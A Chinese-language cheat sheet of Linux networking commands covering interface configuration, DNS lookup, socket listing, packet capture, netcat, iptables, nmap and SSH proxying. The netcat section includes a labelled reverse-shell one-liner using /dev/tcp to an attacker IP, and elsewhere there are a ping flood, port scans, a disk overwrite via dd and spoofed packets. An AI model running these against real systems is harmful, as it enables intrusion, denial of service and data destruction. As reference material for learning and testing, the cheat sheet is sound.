Linux网络命令

网络配置

ethtool

ethtool 是用于查询及设置网卡参数的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[root@server ~]# ethtool em3
Settings for em3:
 Supported ports: [ TP ]
 Supported link modes: 10baseT/Half 10baseT/Full
                         100baseT/Half 100baseT/Full
                         1000baseT/Full
 Supported pause frame use: Symmetric
 Supports auto-negotiation: Yes
 Advertised link modes: 10baseT/Half 10baseT/Full
                         100baseT/Half 100baseT/Full
                         1000baseT/Full
 Advertised pause frame use: Symmetric
 Advertised auto-negotiation: Yes #自动协商关闭
 Speed: 1000Mb/s
 Duplex: Full #全双工
 Port: Twisted Pair
 PHYAD: 1
 Transceiver: internal
 Auto-negotiation: on
 MDI-X: on (auto)
 Supports Wake-on: d
 Wake-on: d
 Current message level: 0x00000007 (7)
          drv probe link
 Link detected: yes  # linux的网卡是否已经连接网线

ifconfig

1
2
3
4
5
6
7
8
9
10
11
12
13
ifconfig
bond0 Link encap:Ethernet HWaddr 40:A8:F0:23:55:FC
          inet addr:10.88.145.147 Bcast:10.88.147.255 Mask:255.255.252.0
          UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1
          RX packets:447831519898 errors:0 dropped:94610 overruns:0 frame:0
          TX packets:384908972374 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:490100615940053 (445.7 TiB) TX bytes:396116630222981 (360.2 TiB)
第一行:连接类型:Ethernet(以太网)HWaddr(硬件mac地址)
第二行:网卡的IP地址、子网、掩码
第三行:UP(代表网卡开启状态)RUNNING(代表网卡的网线被接上)MULTICAST(支持组播)MTU:1500(最大传输单元):1500字节
第四、五行:接收、发送数据包情况统计
第七行:接收、发送数据字节数统计信息。
1
2
3
4
卸载网卡
sudo ifconfig vmnet1 down
启动网卡
sudo ifconfig vmnet1 up

ifconfig ifup ifdown

https://huangkaibo.cn/2018/04/21/ifconfig-ifup-ifdown/

1
2
ifup eth0
ifdown eth0

dhclinet

dhclient命令使用动态主机配置协议动态的配置网络接口的网络参数

域名路由

route

route -n # 查看路由表

netstat

netstat -nr
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
10.86.40.0 0.0.0.0 255.255.252.0 U 0 0 0 eth0
169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
0.0.0.0 10.86.40.1 0.0.0.0 UG 0 0 0 eth0

dig

dig(域信息搜索器)命令是一个用于询问 DNS 域名服务器的灵活的工具

1
tldr dig
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
DNS Lookup utility.

- Lookup the IP(s) associated with a hostname (A records):
dig +short hostname.com

- Lookup the mail server(s) associated with a given domain name (MX record):
dig +short hostname.com MX

- Get all types of records for a given domain name:
dig hostname.com ANY

- Specify an alternate DNS server to query:
dig @8.8.8.8 hostname.com

- Perform a reverse DNS lookup on an IP address (PTR record):
dig -x 8.8.8.8

- Find authoritative name servers for the zone and display SOA records:
dig +nssearch hostname.com

- Perform iterative queries and display the entire trace path to resolve a domain name:
dig +trace hostname.com

控制输出

输出内容太多,只显示结果

1
dig +nssearch baidu.com any |awk '{print($11)}'
1
dig +noall +answer dubai.com any|awk '{print($5)}'

网络连接

ss

查看开放端口

1
2
3
4
[root@server ~]# ss -lt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:1001 *:*
LISTEN 0 50 *:mysql *:*

ss
ss的含义 Socket State
查看链接
https://blog.csdn.net/arkblue/article/details/7876210

netstat

1
2
3
netstat -ni
i 提供网络接口的信息,
n 输出数值地址,而不是试图把他们反向解析成名字
1
2
3
4
5
6
7
netstat -na|less
Proto Recv-Q Send-Q Local Address
tcp4 9 0 127.0.0.1.16000 127.0.0.1.49895 ESTABLISHED
tcp4 3762 0 127.0.0.1.16000 127.0.0.1.49899 ESTABLISHED
tcp4 215 0 127.0.0.1.16000 127.0.0.1.49894 ESTABLISHED
tcp4 127 0 127.0.0.1.16000 127.0.0.1.49891 ESTABLISHED
tcp4 334 0 127.0.0.1.16000 127.0.0.1.49907 ESTABLISHED

查看机器开放哪些端口:

1
netstat -tunlp

查看进程对应开放端口

1
netstat -tunlp|grep pid

lsof

查看端口使用情况
lsof -i tcp:port
查看进程详细信息
lsof -p pid

流量统计

iftop

nsload

网络抓包

tshark

tshark不仅有抓包的功能,还带了解析各种协议的能力
https://www.centos.bz/2014/07/linux-commandline-capture-packets-tshark-wireshark/
http://www.qingpingshan.com/pc/fwq/353123.html

tcpdump

tcpdump复杂过滤规则

1
2
tcpdump -s 65535 -x -nn -q -tttt -i any -c __count__ host __host__ -w data.cap
tcpdump -s 65535 -x -nn -q -tttt -i any -c __count__ port __port__ -w data.cap

tcpdump抓取http的请求头和响应信息

ngrep

1
2
sudo ngrep -x -q -d lo '' 'port __port__'
sudo ngrep -x -q -d eth0 '' 'host __host__'

文件传输

scp

sftp命令

https://linux.cn/article-8253-1.html

nc

NetCat,在网络工具中有“瑞士军刀”美誉,一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据,但是不同版本支持参数会有差异,当某些参数不能用时可以先确认下版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[root@server1 ~]# type -a nc
nc is /usr/bin/nc
# 查看安装nc的rpm包
root@server1 ~]# rpm -q nc
nc-1.84-22.el6.x86_64
# 查看安装路径
[root@server1 ~]# rpm -ql nc
/usr/bin/nc
/usr/share/doc/nc-1.84
/usr/share/doc/nc-1.84/README
/usr/share/doc/nc-1.84/scripts
/usr/share/doc/nc-1.84/scripts/README
/usr/share/doc/nc-1.84/scripts/alta
/usr/share/doc/nc-1.84/scripts/bsh
/usr/share/doc/nc-1.84/scripts/dist.sh
/usr/share/doc/nc-1.84/scripts/irc
/usr/share/doc/nc-1.84/scripts/iscan
/usr/share/doc/nc-1.84/scripts/ncp
/usr/share/doc/nc-1.84/scripts/probe
/usr/share/doc/nc-1.84/scripts/web
/usr/share/doc/nc-1.84/scripts/webproxy
/usr/share/doc/nc-1.84/scripts/webrelay
/usr/share/doc/nc-1.84/scripts/websearch
/usr/share/man/man1/nc.1.gz
# 查看帮助命令
[root@server1 ~]# man nc
# 查看centos版本信息
[root@server1 ~]# cat /etc/redhat-release
CentOS release 6.4 (Final)

下面以Centos6.4,nc1.84.22版本进行演示,A机器ip:192.168.10.1 B机器ip: 192.168.10.2

传输文件

主机A传输数据到主机B

nc 使用不同的箭头符号来控制到底是接收数据还是发送数据,下面是由主机A传输数据到主机B

正向传输

参数解释:

  • -l: 指定监听端口

一般正常传输,主机A开启监听,主机B nc连接获取数据

1
2
主机A: nc -l 1234 < xxx.txt
主机B: nc 192.168.10.1 1234 > xxx.txt
反向传输

当存在防火墙的时候,一般防火墙设置策略是:只会限制远程机器不能直接访问本机开放的特殊端口,但是并不会限制本地机器访问远程机器,这样可以使用反向shell,在远程主机B上开启监听,墙内机器A nc连接 远程主机B

1
2
墙内主机A: nc 192.168.10.2 1234 < xxx.txt
远程主机B: nc -l 1234 > xxx.txt

主机B传输数据到主机A

如果想主机B传输数据到主机A,也对应正向反向两种,这里只用正向传输举例,反向传输类似

1
2
主机A: nc -l 1234 > xxx.txt
主机B: nc 192.168.10.1 1234 < xxx.txt

文件打包压缩后传输

1
2
A:tar -czvf - testdir/|nc 192.168.10.2 1234
B:nc -l 1234 | pv -q -L 50m | tar -xzi

端口扫描

参数解释:

  • -z扫描模式
  • -u探测udp
  • -v 显示详细信息
  • -n 以数字形式表示的IP地址
1
2
nc -nvz 1.1.1.1 1-65535
nc -nvzu 1.1.1.1 1-1024

远程控制(反弹shell)

受害者主机主动连接攻击者的服务端程序,将自己的bash权限交给攻击者
受害者:
Ubuntu Linux ——> 192.168.146.128
攻击者:
Kali Linux ——> 192.168.146.129

1
2
攻击者机器: nc -lvp 2333
被攻击者: bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

Linux 反弹shell(二)反弹shell的本质

远程硬盘克隆(块级别拷贝)

1
2
A:nc -lp 333| dd of=/dev/sda
B:dd if=/dev/sda|nc -nv 1.1.1.1 333

异常模拟

iptables

service iptables status
service iptables start
iptables -I FORWARD -p tcp –dport 3306 -j DROP
iptables -I FORWARD -p tcp –dport 3306 -j ACCEPT
1、iptables -L
查看filter表的iptables规则,包括所有的链。filter表包含INPUT、OUTPUT、FORWARD三个规则链。
说明:-L是–list的简写,作用是列出规则。
2、iptables -L [-t 表名]
只查看某个表的中的规则。
说明:表名一共有三个:filter,nat,mangle,如果没有指定表名,则默认查看filter表的规则列表(就相当于第一条命令)。
举例:iptables -L -t filter

tc

在某些情况下,我们需要模拟网络很差的状态来测试软件能够正常工作,比如网络延迟、丢包、乱序、重复等

https://www.hi-linux.com/posts/35699.html

killcx

Linux环境下切断tcp连接,google搜索关键字:“close””tcp connection””linus”,开发调试的时候,为了模拟意外情况,需要在不影响服务进程的情况下单独 切断tcp连接,即 强制断开tcp连接。不能使用iptables,因为iptables的禁用对已经建立的tcp连接无效(这是由tcp的机制决定的)

Centos安装

1
2
3
4
wget http://ftp.tu-chemnitz.de/pub/linux/dag/redhat/el6/en/x86_64/rpmforge/RPMS/perl-Net-RawIP-0.25-1.el6.rf.x86_64.rpm
rpm -ivh perl-Net-RawIP-0.25-1.el6.rf.x86_64.rpm
yum -y install perl-Net-Pcap.x86_64
yum -y install perl-NetPacket.noarch

使用

perl killcx 127.0.0.1:1234 lo

参考文档

切断tcp连接,在linux环境下
Killcx : close a TCP connection (for Linux)

网络安全

ping

死亡ping

1
2
# 每0.01秒给192.168.10.147发送一个大小65500字节的icmp包
ping 192.168.10.147 -i 0.01 -s 65500

发送指定个数icmp数据包

ping -c 3(ping3次) -q(不打出输出信息) www.baidu.com(网址)

fping

hping3

arping

nmap

安装

1
2
3
4
5
6
7

bzip2 -cd nmap-7.60.tar.bz2 | tar xvf -
cd nmap-7.60
./configure
make
su root
make install

安装

其他

【渗透神器系列】nmap

扫描局域网内ip地址:

nmap -sP 本地IP/24

nmap -F -sT -v www.quar.com

代理转发

proxychains

proxychains

ssh

实用socket5代理请求
ssh -qtfnN -D 127.0.0.1:1080 root@192.168.10.1
ssh命令的三项代理功能

-q
Quiet mode. Causes most warning and diagnostic messages to be suppressed.
-T
Disable pseudo-terminal allocation.
-D
[bind_address:]port]
-f
Requests ssh to go to background just before command execution. This is useful if ssh is going to ask for passwords or passphrases, but the user wants it in the background. This implies -n. The recommended way to start X11 pro-grams at a remote site is with something like ssh -f host xterm.If the ExitOnForwardFailure configuration option is set to ``yes’’, then a client started with -f will wait for all remote port forwards to be successfully established before placing itself in the background
-n
Redirects stdin from /dev/null (actually, prevents reading from stdin). This must be used when ssh is run in the background. A common trick is to use this to run X11 programs on a remote machine. For example, ssh -nshadows.cs.hut.fi emacs & will start an emacs on shadows.cs.hut.fi, and the X11 connection will be automatically forwarded over an encrypted channel. The ssh program will be put in the background. (This does not work if ssh needs to ask for a password or passphrase; see also the -f option.)
-N
Do not execute a remote command. This is useful for just forwarding ports.

实用工具

curl

sendip

linux网络IP发包工具

安装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# http://www.earth.li/projectpurple/progs/sendip.html
rpm -ivh sendip-2.5-1.i386.rpm
error: Failed dependencies:
    libc.so.6 is needed by sendip-2.5-1.i386
    libc.so.6(GLIBC_2.0) is needed by sendip-2.5-1.i386
    libc.so.6(GLIBC_2.1) is needed by sendip-2.5-1.i386
    libc.so.6(GLIBC_2.1.3) is needed by sendip-2.5-1.i386
    libc.so.6(GLIBC_2.3) is needed by sendip-2.5-1.i386
    libdl.so.2 is needed by sendip-2.5-1.i386
    libdl.so.2(GLIBC_2.0) is needed by sendip-2.5-1.i386
    libdl.so.2(GLIBC_2.1) is needed by sendip-2.5-1.i386
    libm.so.6 is needed by sendip-2.5-1.i386
需要升级gcc版本
gcc version 4.8.3 (GCC)可以安装

使用

https://blog.csdn.net/freexploit/article/details/503954
https://blog.csdn.net/zh_94/article/details/81660184

注意

  • 不能发送连续的数据包,所以需要配合脚本实现
  • 使用-v查看包是否正常
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    sendip -p ipv4 -is 192.168.1.2 -id 192.168.1.1 -p icmp -d -x89ABCDEF www.baidu.com
    [root@server /tmp]#
    [root@server /tmp]# sendip -v -p ipv4 -is 192.168.1.2 -id 192.168.1.1 -p icmp -d -x89ABCDEF www.baidu.com
    Added 25 options
    Initializing module ipv4
    Initializing module icmp
    Finalizing module icmp
    Finalizing module ipv4
    Final packet data:
    45 00 00 22 E.."
    E5 D2 00 00 ....
    FF 01 52 B4 ..R.
    C0 A8 01 02 ....
    C0 A8 01 01 ....
    08 00 C8 81 ....
    2D 78 38 39 -x89
    41 42 43 44 ABCD
    45 46 EF
    Sent 34 bytes to www.baidu.com
    Freeing module ipv4
    Freeing module icmp